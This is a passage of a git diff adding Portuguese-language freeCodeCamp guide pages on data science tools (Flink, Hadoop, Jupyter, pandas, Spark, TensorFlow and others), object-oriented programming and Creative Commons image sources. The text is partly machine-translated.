+*   Suporte embutido para programas iterativos (BSP) na API DataSet (batch)
+*   Gerenciamento de memória personalizado para comutação eficiente e robusta entre algoritmos de processamento de dados in-memory e out-of-core
+*   Camadas de compatibilidade para Apache Hadoop MapReduce e Apache Storm
+*   Integração com YARN, HDFS, HBase e outros componentes do ecossistema Apache Hadoop
+
+### Uso Flink
+
+Pré-requisitos para a construção do Flink:
+
+*   Ambiente semelhante ao Unix (Usamos Linux, Mac OS X, Cygwin)
+*   git
+*   Maven (recomendamos a versão 3.0.4)
+*   Java 7 ou 8
+```
+git clone https://github.com/apache/flink.git 
+ cd flink 
+ mvn clean package -DskipTests # this will take up to 10 minutes 
+```
+
+## Desenvolvendo o Flink
+
+Os commiters do Flink usam o IntelliJ IDEA para desenvolver a base de código do Flink. Recomendamos o IntelliJ IDEA para desenvolver projetos que envolvam o código Scala.
+
+Requisitos mínimos para um IDE são:
+
+*   Suporte para Java e Scala (também projetos mistos)
+*   Suporte para Maven com Java e Scala
+
+#### Mais Informações:
+
+*   Site do Flink: [Apache Flink](https://flink.apache.org/)
+*   Documentação do Flink: [flinkdocs](https://ci.apache.org/projects/flink/flink-docs-release-1.3/)
+*   Tutorial de Quick Flink: [Início Rápido](https://www.linkedin.com/pulse/introduction-apache-flink-quickstart-tutorial-malini-shukla/)
+*   Como orientar: [howto](https://data-artisans.com/blog/kafka-flink-a-practical-how-to)
+*   Flink vs Spark: [comparação](http://www.developintelligence.com/blog/2017/02/comparing-contrasting-apache-flink-vs-spark/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/hadoop/index.md b/client/src/guide/portuguese/data-science-tools/hadoop/index.md
new file mode 100644
index 0000000000..6471d832f4
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/hadoop/index.md
@@ -0,0 +1,58 @@
+---
+title: Hadoop
+localeTitle: Hadoop
+---
+## ![Hadoop](http://2s7gjr373w3x22jf92z99mgm5w-wpengine.netdna-ssl.com/wp-content/uploads/2014/08/Hadoop_logo_2.png)
+
+### Você sabia?
+
+O Hadoop leva o nome de um elefante de brinquedo pertencente ao filho de Doug Cutting. Doug escolheu o nome do seu projeto de código aberto, pois era fácil soletrar, pronunciar e encontrar nos resultados da pesquisa. O original elefante amarelo recheado que inspirou o nome aparece no logo do Hadoop.
+
+### O que é o Hadoop?
+
+O Hadoop é uma estrutura que permite o processamento distribuído de grandes conjuntos de dados em um cluster de computadores, usando modelos de programação simples. Ele permite o escalonamento de servidores únicos para milhares de máquinas, cada uma oferecendo sua própria computação e armazenamento locais. Em vez de depender de hardware para fornecer alta disponibilidade, o próprio Hadoop é projetado para detectar e manipular falhas na camada de aplicativo. Se uma máquina em um cluster falhar, o Hadoop poderá compensar a falha sem perder dados. Isso permite a entrega de um serviço altamente disponível no topo de um cluster de computadores, cada um dos quais pode estar sujeito a falhas.
+
+Em 2003, o Google lançou seu artigo no Google File System (GFS). Ele detalhou um sistema de arquivos distribuído proprietário destinado a fornecer acesso eficiente a grandes quantidades de dados usando hardware de commodity. Um ano depois, o Google lançou outro artigo intitulado "MapReduce: Simplified Data Processing em Large Clusters". Na época, Doug estava trabalhando no Yahoo. Esses papéis foram a inspiração para seu projeto de código aberto Apache Nutch. Em 2006, os componentes do projeto agora conhecidos como Hadoop saíram do Apache Nutch e foram lançados.
+
+### Por que o Hadoop é útil?
+
+De acordo com a IBM, "todos os dias, 2,5 bilhões de gigabytes de dados de alta velocidade são criados em uma variedade de formas, como postagens em mídias sociais, informações coletadas em sensores e dispositivos médicos, vídeos e registros de transações".
+
+Alguns exemplos de dados criados freqüentemente são:
+
+*   Metadados do uso do telefone
+*   Registros do site
+*   Transações de compra de cartão de crédito
+
+"Big Data" refere-se a conjuntos de dados que são muito grandes ou complexos para processar usando aplicativos de software tradicionais. Os fatores que contribuem para a complexidade dos dados são o tamanho do conjunto de dados, a velocidade dos processadores disponíveis e o formato dos dados.
+
+No momento de seu lançamento, o Hadoop era capaz de processar dados em uma escala maior do que o software tradicional.
+
+### Core Hadoop
+
+Os dados são armazenados no Hadoop Distributed File System (HDFS). Usando o map reduce, o Hadoop processa dados em blocos paralelos (processando várias partes ao mesmo tempo) em vez de em uma única fila. Isso reduz o tempo necessário para processar grandes conjuntos de dados.
+
+O HDFS funciona armazenando arquivos grandes divididos em partes e replicando-os em vários servidores. Ter várias cópias de arquivos cria redundância, o que protege contra perda de dados.
+
+### Ecossistema Hadoop
+
+Muitos outros pacotes de software existem para complementar o Hadoop. Esses programas abrangem o ecossistema Hadoop. Alguns programas facilitam o carregamento de dados no cluster do Hadoop, enquanto outros facilitam o uso do Hadoop.
+
+O ecossistema do Hadoop inclui:
+
+*   Apache Hive
+*   Porco Apache
+*   Apache HBase
+*   Apache Phoenix
+*   Apache Spark
+*   ZooKeeper do Apache
+*   Cloudera Impala
+*   Apache Flume
+*   Apache Sqoop
+*   Apache Oozie
+
+#### Mais Informações:
+
+1.  [Curso de Udacity no hadoop](https://www.udacity.com/course/intro-to-hadoop-and-mapreduce--ud617)
+2.  [Apache Hadoop](http://hadoop.apache.org/)
+3.  [Big Data Hadoop Vídeos Tutorial por edureka!](https://www.youtube.com/playlist?list=PL9ooVrP1hQOFrYxqxb0NJCdCABPZNo0pD)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/index.md b/client/src/guide/portuguese/data-science-tools/index.md
new file mode 100644
index 0000000000..3abe59f813
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/index.md
@@ -0,0 +1,13 @@
+---
+title: Data Science Tools
+localeTitle: Ferramentas de Data Science
+---
+## Ferramentas de Data Science
+
+Nesta seção, teremos guias para uma ampla variedade de ferramentas usadas pelos cientistas de dados.
+
+Os cientistas de dados são curiosos e frequentemente procuram novas ferramentas que os ajudem a encontrar respostas. Eles também precisam ser proficientes no uso das ferramentas do comércio, embora existam dezenas e dezenas delas. Em geral, os cientistas de dados devem ter um conhecimento prático de linguagens de programação estatística para a construção de sistemas de processamento de dados, bancos de dados e ferramentas de visualização. Muitos no campo também consideram um conhecimento de programação parte integrante da ciência de dados; entretanto, nem todos os estudantes de cientista de dados estudam programação, portanto, é útil estar ciente das ferramentas que contornam a programação e incluem uma interface gráfica amigável para que o conhecimento dos algoritmos dos cientistas de dados seja suficiente para ajudá-los a criar modelos preditivos.
+
+R continua sendo a principal ferramenta, com 49% de participação, mas o Python cresce mais rápido e quase alcança o R. O RapidMiner continua sendo a plataforma mais popular da Data Science. Ferramentas de Big Data usadas por quase 40% e o uso de Deep Learning duplica. Data Science é OSEMN ( **O** btain, **S** crub, **M** odel, i **N** terpret) os Dados. Há um bom recurso para Data Science e Machine Learning pelo Open Source Data Science Masters. Siga no github datasciencemasters !!!
+
+*   [Recursos para Data Science](https://github.com/datasciencemasters/go)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/jupyter-notebook/index.md b/client/src/guide/portuguese/data-science-tools/jupyter-notebook/index.md
new file mode 100644
index 0000000000..f23f914783
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/jupyter-notebook/index.md
@@ -0,0 +1,94 @@
+---
+title: Jupyter Notebook
+localeTitle: Caderno Jupyter
+---
+## Caderno Jupyter
+
+O Jupyter Notebook é um aplicativo da Web de código aberto. Ele permite que você crie e compartilhe documentos que contenham código ativo, equações, visualizações e texto narrativo.
+
+O Jupyter Notebook ajuda você a criar e compartilhar documentos contendo código ativo, equações, visualizações e rich text.
+
+Você pode usá-lo para:
+
+*   limpeza de dados e transformação
+*   simulação numérica
+*   modelagem estatística
+*   Visualização de dados
+*   aprendizado de máquina
+
+![](https://github.com/indianmoody/images/blob/master/guide_fcc/guides_jupyter_snap.jpeg) Veja seus resultados à medida que você avança passo a passo. Assim como nesta imagem.
+
+## O que é um caderno Jupyter?
+
+Nesse caso, "caderno" ou "documentos de caderno" denotam documentos que contêm elementos de código e rich text, como figuras, links e equações. Por causa do mix de código e elementos de texto, esses documentos são o local ideal para reunir uma descrição de análise e seus resultados, assim como podem ser executados para realizar a análise de dados em tempo real.
+
+"Jupyter" é um acrônimo solto que significa Julia, Python e R. Essas linguagens de programação foram as primeiras linguagens de destino do aplicativo Jupyter, mas atualmente, a tecnologia de notebooks também suporta muitos outros idiomas. E aí está: o Caderno Jupyter.
+
+## O que isso faz?
+
+Como um aplicativo servidor-cliente, o Jupyter Notebook App permite que você edite e execute seus notebooks por meio de um navegador da web. O aplicativo pode ser executado em um PC sem acesso à Internet ou pode ser instalado em um servidor remoto, onde você pode acessá-lo através da Internet.
+
+Seus dois principais componentes são os núcleos e um painel.
+
+Um kernel é um programa que executa e faz a introspecção do código do usuário. O Jupyter Notebook App possui um kernel para o código Python, mas também existem kernels disponíveis para outras linguagens de programação. O painel do aplicativo não apenas mostra os documentos do bloco de anotações que você criou e pode reabrir, mas também pode ser usado para gerenciar os kernels: você pode quais deles estão sendo executados e desligá-los, se necessário.
+
+## Instalação
+
+Você pode usar o Anaconda ou o Pip para instalar o notebook Jupyter. Para os passos a seguir, consulte o guia oficial [Aqui.](https://jupyter.readthedocs.io/en/latest/install.html)
+
+#### Mais Informações:
+
+\=======
+
+### Características
+
+*   Não há necessidade de executar seu arquivo de código completo todas as vezes. Basta executar uma célula individual do Notebook para avaliar uma parte específica do código.
+*   O Notebook tem suporte para mais de 40 linguagens de programação, incluindo Python, R, Julia e Scala.
+*   Os notebooks podem ser compartilhados com outras pessoas usando e-mail, Dropbox, GitHub e o Jupyter Notebook Viewer.
+*   Seu código pode produzir uma saída rica e interativa: HTML, imagens, vídeos, LaTeX e tipos MIME personalizados.
+*   Aproveite as ferramentas de big data, como o Apache Spark, do Python, R e Scala. Explore os mesmos dados com pandas, scikit-learn, ggplot2, TensorFlow.
+
+O notebook Jupyter combina dois componentes:
+
+### Um aplicativo da web:
+
+O Jupyter Notebook App ajuda a editar e executar documentos do notebook em um navegador da Web, combinando textos explicativos, matemática, cálculos e rich media.
+
+### Documento do Notebook:
+
+O Jupyter Notebook App pode criar um "documento Notebook" contendo elementos de código e rich text. Um documento do Notebook pode ser legível e executável.
+
+Estes documentos são produzidos pelo aplicativo Jupyter Notebook.
+
+## Jupyter Notebook App
+
+Como um aplicativo servidor-cliente, o Jupyter Notebook App permite que você edite e execute seus notebooks por meio de um navegador da web.  
+O aplicativo pode ser executado em um PC sem acesso à Internet ou pode ser instalado em um servidor remoto, onde você pode acessá-lo através da Internet.
+
+Seus dois principais componentes são os núcleos e um painel.
+
+### Kernels
+
+Um kernel é um programa que executa e faz a introspecção do código do usuário. O Jupyter Notebook App possui um kernel para o código Python, mas também existem kernels disponíveis para outras linguagens de programação.
+
+### painel de controle
+
+O painel do aplicativo não apenas mostra os documentos do bloco de anotações que você criou e pode reabrir, mas também pode ser usado para gerenciar os kernels: você pode quais deles estão sendo executados e desligá-los, se necessário.
+
+### Como funcionam os notebooks
+
+Os notebooks da Jupyter surgiram do projeto IPython iniciado por Fernando Perez. O IPython é um shell interativo, semelhante ao shell normal do Python, mas com ótimos recursos, como realce de sintaxe e conclusão de código. Originalmente, os notebooks funcionavam enviando mensagens do aplicativo da Web (o notebook que você vê no navegador) para um kernel do IPython (um aplicativo IPython executado em segundo plano). O kernel executou o código e o enviou de volta ao notebook. ![Arquitetura notebook](https://jupyter.readthedocs.io/en/latest/_images/notebook_components.png)
+
+Quando você salva o bloco de notas, ele é gravado no servidor como um arquivo JSON com uma extensão de arquivo **.ipynb** O novo nome Jupyter vem da combinação de **Ju** lia, **Py** thon e **R.** Existem muitos kernels para diferentes idiomas para usar o Jupyter. você pode verificar a [lista de kernels Jupyter disponíveis](https://github.com/jupyter/jupyter/wiki/Jupyter-kernels) .
+
+### Instalando o Jupyter Notebook
+
+Os notebooks Jupyter vêm automaticamente com a distribuição. Você poderá usar blocos de anotações do ambiente padrão. Para instalar os notebooks Jupyter em um ambiente `conda install jupyter notebook` : `conda install jupyter notebook` Para instalar os notebooks Jupyter com pip: `pip install jupyter notebook`
+
+#### Mais Informações:
+
+*   [Site da Jupyter Org](http://jupyter.org)
+*   [Guia de início rápido do Jupyter / IPython Notebook](http://jupyter-notebook-beginner-guide.readthedocs.io/en/latest/what_is_jupyter.html)
+*   [O que é o Jupyter Notebook por codebasics, duração 8:24](https://www.youtube.com/watch?v=q_BzsPxwLOE)
+*   [Jupyter Notebook Tutorial / Ipython Tutorial Notebook, por codebasics, duração 24:07](https://www.youtube.com/watch?v=EEEZX_0FMEc)
+*   [Mais Informações](https://www.datacamp.com/community/tutorials/tutorial-jupyter-notebook)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/pandas/index.md b/client/src/guide/portuguese/data-science-tools/pandas/index.md
new file mode 100644
index 0000000000..f63522bfae
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/pandas/index.md
@@ -0,0 +1,75 @@
+---
+title: pandas
+localeTitle: pandas
+---
+![Everybody loves pandas!](https://pandas.pydata.org/_static/pandas_logo.png "pandas")
+
+## pandas
+
+[pandas](http://pandas.pydata.org/) é uma biblioteca Python para análise de dados usando quadros de dados. Quadros de dados são tabelas de dados, que podem ser comparadas conceitualmente a uma planilha. Cientistas de dados familiarizados com R se sentirão em casa aqui. pandas é frequentemente usado junto com numpy, pyplot e scikit-learn.
+
+### Importando pandas
+
+É uma convenção amplamente usada para importar a biblioteca pandas usando o alias `pd` :
+
+```python
+import pandas as pd 
+```
+
+## Quadros de dados
+
+Um quadro de dados consiste em um número de linhas e colunas. Cada coluna representa um recurso do conjunto de dados e, portanto, tem um nome e um tipo de dados. Cada linha representa um ponto de dados por meio de valores de recursos associados. A biblioteca pandas permite manipular os dados em um quadro de dados de várias maneiras. pandas tem muitas possibilidades, então o seguinte é apenas arranhar a superfície para dar uma idéia da biblioteca.
+
+## Series
+
+Series é o tipo de dados básico em pandas.Uma série é muito semelhante a um array (matriz NumPy) (na verdade, é construído em cima do objeto de matriz NumPy) .A Series pode ter rótulos de eixo, como ele pode ser indexado por um rótulo sem indexação numérica para a localização dos dados. Ele pode conter qualquer Objeto do Python como Lista, Dicionário etc.
+
+## Carregando dados de um arquivo csv
+
+Um arquivo `.csv` é um arquivo de _valores separados por vírgula_ . Uma maneira muito comum de armazenar dados. Para carregar esses dados em um quadro de dados de pandas, use o método `read_csv` :
+
+```python
+df = pd.read_csv(file_path) 
+```
+
+Aqui, `file_path` pode ser um caminho local para um arquivo csv em seu computador ou uma URL apontando para um. Os nomes das colunas podem ser incluídos no arquivo csv ou podem ser passados ​​como um argumento. Para mais sobre isso e muito mais, dê uma olhada na [documentação](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_csv.html?highlight=read_csv#pandas.read_csv) .
+
+## Obtendo uma visão geral de um quadro de dados
+
+Para mostrar as primeiras linhas de um quadro de dados, o método `head` é útil (mais uma vez isso deve soar familiar aos programadores R):
+
+```python
+df.head() 
+```
+
+Isso mostrará as primeiras 5 linhas do quadro de dados.
+
+Para mostrar mais do que as primeiras 5 linhas, basta colocar o número de linhas que você deseja imprimir dentro do método `head` .
+
+```python
+df.head(10) 
+```
+
+Isso mostrará as primeiras 10 linhas do quadro de dados.
+
+Para mostrar as últimas linhas de um quadro de dados, o método `tail` é útil (mais uma vez isso deve soar familiar aos programadores R):
+
+```python
+df.tail() 
+```
+
+Isso mostrará as últimas 5 linhas do quadro de dados.
+
+## Subconjuntos: Obtendo uma coluna por nome
+
+Um quadro de dados pode ser subconjunto de várias maneiras. Um dos mais simples é obter uma única coluna. Por exemplo, se o frame de dados `df` contiver uma coluna chamada `age` , podemos extraí-lo da seguinte maneira:
+
+```python
+ages=df["age"] 
+```
+
+#### Mais Informações:
+
+1.  [pandas](http://pandas.pydata.org/)
+2.  [read\_csv](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_csv.html?highlight=read_csv#pandas.read_csv)
+3.  [cabeça](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.head.html?highlight=head#pandas.DataFrame.head)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/power-bi/index.md b/client/src/guide/portuguese/data-science-tools/power-bi/index.md
new file mode 100644
index 0000000000..b8d30d97c3
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/power-bi/index.md
@@ -0,0 +1,25 @@
+---
+title: Power BI
+localeTitle: Power BI
+---
+# Power BI:
+
+O Power BI é um produto comercialmente disponível pela Microsoft para fornecer informações e visualizações de dados para os dados curiosos.
+
+## Recursos principais:
+
+O Power BI possui muitos recursos para ingestão, análise e consumo de dados:
+
+*   Pacotes de conteúdo de dados para trazer dados de várias fontes, incluindo o GitHub, o Facebook, o AWS, o Azure e a maioria dos bancos de dados SQL
+*   Ferramentas intuitivas de modelagem e transformação de dados que podem ser automatizadas para tabelas de estrutura ou conteúdo similar
+*   Gráficos e gráficos em estoque (incluindo direcionamento de força!) Para relatório de arrastar e soltar e criação de painéis
+*   Console R para análise estatística avançada
+*   Recursos incorporados para visualização de painéis em diferentes grupos de negócios ou para consumo público
+
+## Como é usado para o Data Science:
+
+Embora não seja tão poderosa para análise de inferência complexa ou redução de mapa, ela prospera na apresentação de dados em painéis interativos para consumidores típicos de dados do tipo comercial. O PowerBI é a ponte entre o cientista de dados e o resto do mundo dos negócios que deseja dados para tomada de decisões em visualizações fáceis de entender. Aproveitando o ambiente do Office 365 com o qual muitos consumidores estão familiarizados, o Data Scientist pode trazer a análise ou visualização personalizada mais complexa por meio do console R para interação por quem é necessário.
+
+## Laboratório
+
+[Usando o Microsoft Power BI para explorar e visualizar dados](https://github.com/Microsoft/computerscience/blob/master/Labs/Big%20Data%20and%20Analytics/Power%20BI/Power%20BI.md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/scikit/index.md b/client/src/guide/portuguese/data-science-tools/scikit/index.md
new file mode 100644
index 0000000000..58f3168b09
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/scikit/index.md
@@ -0,0 +1,13 @@
+---
+title: scikit-learn
+localeTitle: scikit-learn
+---
+## Scikit-learn
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/data-science-tools/scikit/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[Página de referência do Scikit-learn](http://scikit-learn.org/stable/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/spark/index.md b/client/src/guide/portuguese/data-science-tools/spark/index.md
new file mode 100644
index 0000000000..7817ea9986
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/spark/index.md
@@ -0,0 +1,32 @@
+---
+title: Spark
+localeTitle: Faísca
+---
+## Faísca
+
+[O Spark](http://spark.apache.org/) é um sistema de computação de cluster rápido e geral para Big Data. Ele fornece APIs de alto nível em Scala, Java, Python e R e um mecanismo otimizado que suporta gráficos gerais de computação para análise de dados. Ele também suporta um conjunto avançado de ferramentas de nível superior, incluindo o Spark SQL para SQL e DataFrames, MLlib para aprendizado de máquina, GraphX ​​para processamento de gráficos e Spark Streaming para processamento de fluxo.
+
+## Principais recursos
+
+O Spark 2.0 possui muitos novos recursos:
+
+*   Fonte de dados CSV nativo, com base no módulo spark-csv do Databricks
+*   Gerenciamento de memória fora do heap para armazenamento em cache e execução em tempo de execução
+*   Suporte ao balde de estilo colmeia
+*   Estatísticas resumidas aproximadas usando esboços, incluindo quantil aproximado, filtro Bloom e esboço de contagem min.
+
+## Como é usado para Data Science
+
+O Spark tornou-se uma ferramenta padrão na caixa de ferramentas de muitos cientistas de dados. Com sua flexibilidade nas opções de API, qualquer programador pode trabalhar com o Spark no idioma de sua preferência. Conforme observado por [Cloudera](https://blog.cloudera.com/blog/2014/03/why-apache-spark-is-a-crossover-hit-for-data-scientists) , o Spark ganhou popularidade por vários motivos:
+
+*   Sendo baseado em Scala, o Spark se incorpora em qualquer sistema operacional baseado em JVM, mas também pode ser usado interativamente em um REPL de uma maneira que pareça familiar aos usuários de R e Python.
+*   Para programadores Java, o Scala ainda apresenta uma curva de aprendizado. Mas pelo menos, qualquer biblioteca Java pode ser usada dentro do Scala. A abstração RDD (Resilient Distributed DataSet) do Spark se assemelha à PCollection do Crunch, que provou ser uma abstração útil no Hadoop que já será familiar aos desenvolvedores do Crunch. (Crunch pode até ser usado em cima do Spark.)
+*   O Spark imita a API e o estilo funcional das coleções do Scala, o que é um benefício para os desenvolvedores de Java e Scala, mas também um pouco familiar para os desenvolvedores que vêm do Python. O Scala também é uma opção atraente para a computação estatística.
+*   A própria Spark e o Scala, por baixo, não são específicos da aprendizagem automática. Eles fornecem APIs que suportam tarefas relacionadas, como acesso a dados, ETL e integração. Assim como no Python, todo o pipeline de ciência de dados pode ser implementado dentro desse paradigma, não apenas o ajuste e a análise do modelo.
+*   Código que é implementado no ambiente REPL pode ser usado principalmente como está em um contexto operacional.
+*   As operações de dados são distribuídas de maneira transparente no cluster, mesmo quando você digita.
+
+#### Mais Informações
+
+*   [Página do Spark Github](https://github.com/apache/spark)
+*   [Wikipedia](https://en.wikipedia.org/wiki/Apache_Spark)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/tensor-flow/index.md b/client/src/guide/portuguese/data-science-tools/tensor-flow/index.md
new file mode 100644
index 0000000000..95ad3adb7d
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/tensor-flow/index.md
@@ -0,0 +1,19 @@
+---
+title: TensorFlow
+localeTitle: TensorFlow
+---
+## Fluxo Tensorial
+
+[O TensorFlow](https://www.tensorflow.org/) é uma biblioteca de software de código aberto para o Machine Intelligence.
+
+Com o objetivo de realizar pesquisas nessas áreas fascinantes, a equipe do Google desenvolveu o TensorFlow.
+
+## Como é usado para Data Science
+
+TensorFlow é uma biblioteca de software de código aberto para computação numérica usando gráficos de fluxo de dados. Os nós no gráfico representam operações matemáticas, enquanto as arestas do gráfico representam matrizes de dados multidimensionais (tensores) comunicados entre eles. A arquitetura flexível permite implantar computação em uma ou mais CPUs ou GPUs em um desktop, servidor ou celular dispositivo com uma única API. O TensorFlow foi originalmente desenvolvido por pesquisadores e engenheiros trabalhando no Google Brain Team dentro da organização de pesquisa em inteligência de máquina do Google para fins de conduzir aprendizado de máquina e pesquisa de redes neurais profundas, mas a O sistema é geral o suficiente para ser aplicável em uma ampla variedade de outros domínios também.
+
+Para mais informações, visite a [página](https://github.com/tensorflow) do [TensorFlow Github](https://github.com/tensorflow)
+
+## Laboratório
+
+[TensorFlow](https://github.com/Microsoft/computerscience/blob/master/Labs/AI%20and%20Machine%20Learning/TensorFlow/TensorFlow.md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/data-science-tools/visualization-bokeh/index.md b/client/src/guide/portuguese/data-science-tools/visualization-bokeh/index.md
new file mode 100644
index 0000000000..57e9485170
--- /dev/null
+++ b/client/src/guide/portuguese/data-science-tools/visualization-bokeh/index.md
@@ -0,0 +1,9 @@
+---
+title: Bokeh
+localeTitle: Bokeh
+---
+O Bokeh é uma biblioteca de visualização interativa do Python, que fornece uma interface elegante e concisa para criar plotagens, dashborads e aplicativos de dados.
+
+### Mais Informações:
+
+[Site Oficial Bokeh](https://bokeh.pydata.org/en/latest/) [Bryan Van de Ven, PyBay2016, 55:47](https://www.youtube.com/watch?v=xqwCxuEBpxk) [Bryan Van de Ven, PyData SF 2016, 2:14:00](https://www.youtube.com/watch?v=M1-MVYLONZc)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/design-patterns/index.md b/client/src/guide/portuguese/design-patterns/index.md
new file mode 100644
index 0000000000..5b2ad460aa
--- /dev/null
+++ b/client/src/guide/portuguese/design-patterns/index.md
@@ -0,0 +1,11 @@
+---
+title: Design Patterns
+localeTitle: Padrões de design
+---
+## Padrões de design
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freeCodeCamp/guide/blob/master/src/pages/design-patterns/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/design-patterns/object-oriented-programming/index.md b/client/src/guide/portuguese/design-patterns/object-oriented-programming/index.md
new file mode 100644
index 0000000000..6f2e3c9b89
--- /dev/null
+++ b/client/src/guide/portuguese/design-patterns/object-oriented-programming/index.md
@@ -0,0 +1,32 @@
+---
+title: Object Oriented Programming (OOP)
+localeTitle: Programação Orientada a Objetos (OOP)
+---
+## Esboço
+
+*   Por que orientado a objeto (doravante abreviado como OO)?
+*   Conceitos OO
+*   Qual o proximo?
+
+## Porquê OO?
+
+Nesse paradigma, entidades são representadas como dados do mundo real. Por exemplo, queremos representar um cachorro. No paradigma OO, nós simplesmente criamos uma classe chamada "dog", e damos a ela atributos (cor, idade, sexo, etc) e comportamento (latir, correr, comer, etc). Comportamento é alterado através de "métodos" (funções em palavras simples) que fazem alterações nos atributos.
+
+## Conceitos OO
+
+O que torna a programação OO poderosa é sua capacidade de fazer o seguinte:
+
+*   Herança
+*   Polimorfismo
+*   Encapsulamento
+*   Abstração
+
+Na programação procedural, simplesmente criamos variáveis ​​e as modificamos quando necessário. No entanto, na programação OO, podemos literalmente simular objetos do mundo real. O encapsulamento é conseguido através da criação de uma classe específica para uma entidade, por exemplo, cão. Objetos dessa classe são criados, e nada mais são do que instâncias da classe. Cada objeto possui seus próprios valores de atributo.
+
+Outro conceito extremamente útil é o da herança. A ideia é que uma classe possa herdar atributos e comportamentos de uma classe base. Por exemplo, ao criar um jogo, temos um jogador e um inimigo. Podemos criar uma classe base chamada pessoa e dar a ela atributos como nome, idade, sexo, etc. O comportamento da pessoa pode ser caminhar e pular. Um jogador e um inimigo podem então herdar essas "qualidades" da pessoa e podem ter qualidades adicionais como matar, pontuar, comer, etc.
+
+Isso ajuda a reutilizar o código e tornar a estrutura do rcode muito mais limpa. A ocultação de dados é outro recurso interessante. Em OO, temos a noção de atributos privados e públicos. Atributos privados podem ser acessados ​​e modificados somente por métodos dessa classe em particular, enquanto dados públicos podem ser modificados de qualquer lugar no programa (dentro do escopo obviamente).
+
+## Qual o proximo?
+
+Escolha uma linguagem OO e construa um jogo básico baseado em terminal para ilustrar esses conceitos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/designer-tools/creative-commons-resources/index.md b/client/src/guide/portuguese/designer-tools/creative-commons-resources/index.md
new file mode 100644
index 0000000000..bbc92ddc74
--- /dev/null
+++ b/client/src/guide/portuguese/designer-tools/creative-commons-resources/index.md
@@ -0,0 +1,37 @@
+---
+title: Creative Commons Resources
+localeTitle: Recursos Creative Commons
+---
## Quais são os Creative Commons?
+
+O licenciamento da Creative Commons foi criado pelo acadêmico, advogado e ativista político Lawrence Lessig. As opções de licenciamento da Creative Commons foram criadas em reação à lei de direitos autorais. Acreditando que o processo criativo envolve a construção de ideias e conteúdos, as leis de direitos autorais impedem essa forma de desenvolvimento criativo. Embora as leis de direitos autorais sejam necessárias, seus efeitos que se estendem para impactar indivíduos e seu desenvolvimento criativo têm sido vistos como uma violação sem precedentes. A oposição aos direitos autorais foi descrita como o copyleft. O Creative Commons é uma pedra fundamental para o copyleft e apoia o domínio público. A fim de ajudar a superar essa questão da lei de direitos autorais e do desenvolvimento criativo, o Creative Commons foi introduzido para permitir que os criadores aplicassem uma licença legal, permitindo que o trabalho deles fosse usado por outras pessoas. As opções de licenciamento da Creative Commons são facilmente entendidas pelo leigo e podem ser criadas respondendo apenas a duas perguntas:
+
+1.) Permitir que adaptações do seu trabalho sejam compartilhadas?
+
+2.) Permitir usos comerciais do seu trabalho?
+
+As opções de licença Creative Commons podem ser feitas rapidamente em: - [Escolher](https://creativecommons.org/choose/)
+
+Mais descrições sobre as várias opções de licença Creative Commons podem ser encontradas aqui: - [Licenças](https://creativecommons.org/licenses/)
+
+## Recursos Creative Commons
+
+Algumas pessoas odeiam projetar coisas, e tudo bem. Mas uma coisa que eles podem odiar _mais_ é ser processado por violação de direitos autorais (por usar o conteúdo que alguém criou sem sua permissão expressa).
+
+Recentemente, participei de uma discussão sobre esse assunto e pensei em compartilhar um punhado de sites para os quais procurei conteúdo de alta qualidade e disponível gratuitamente. Se você é um designer, desenvolvedor web, ou apenas um blogueiro que precisa de algumas imagens bonitas e brilhantes, elas estarão no seu beco.
+
+Todos os recursos a seguir devem [ser licenciados sob a licença Creative Commons](https://creativecommons.org/licenses/) (ou com a mesma licença) para você usar em seu próprio ritmo:
+
+*   [Gratisografia](http://gratisography.com/)
+*   [Unsplash](https://unsplash.com/)
+*   [Pixabay](https://pixabay.com)
+*   [Pexels](https://www.pexels.com)
+*   [Flickr (Licença Creative Commons)](https://www.flickr.com/search/?advanced=1&license=2%2C3%2C4%2C5%2C6%2C9)
+*   [Colecção do Museu Metropolitano](http://www.metmuseum.org/art/collection)
+*   [Arquivos da revista Life](http://images.google.com/hosted/life)
+*   [Novo estoque antigo](http://nos.twnsnd.co/)
+*   [Arquivo de Domínio Público](http://publicdomainarchive.com/)
+*   [Wikimedia Creative Commons](https://commons.wikimedia.org/wiki/Main_Page)
+
+Isto não é de forma alguma uma lista exaustiva, mas se você precisar de imagens seriamente de alta resolução para usar livremente - considere verificar algumas delas.
+
+> **OBSERVAÇÃO:** Se você estiver planejando usar _qualquer uma_ dessas imagens para uso não pessoal ou comercial, verifique todas as especificações dessa imagem em particular (pois alguns sites variam).
\ No newline at end of file
diff --git a/client/src/guide/portuguese/designer-tools/experience-design/index.md b/client/src/guide/portuguese/designer-tools/experience-design/index.md
new file mode 100644
index 0000000000..d06ecc81d4
--- /dev/null
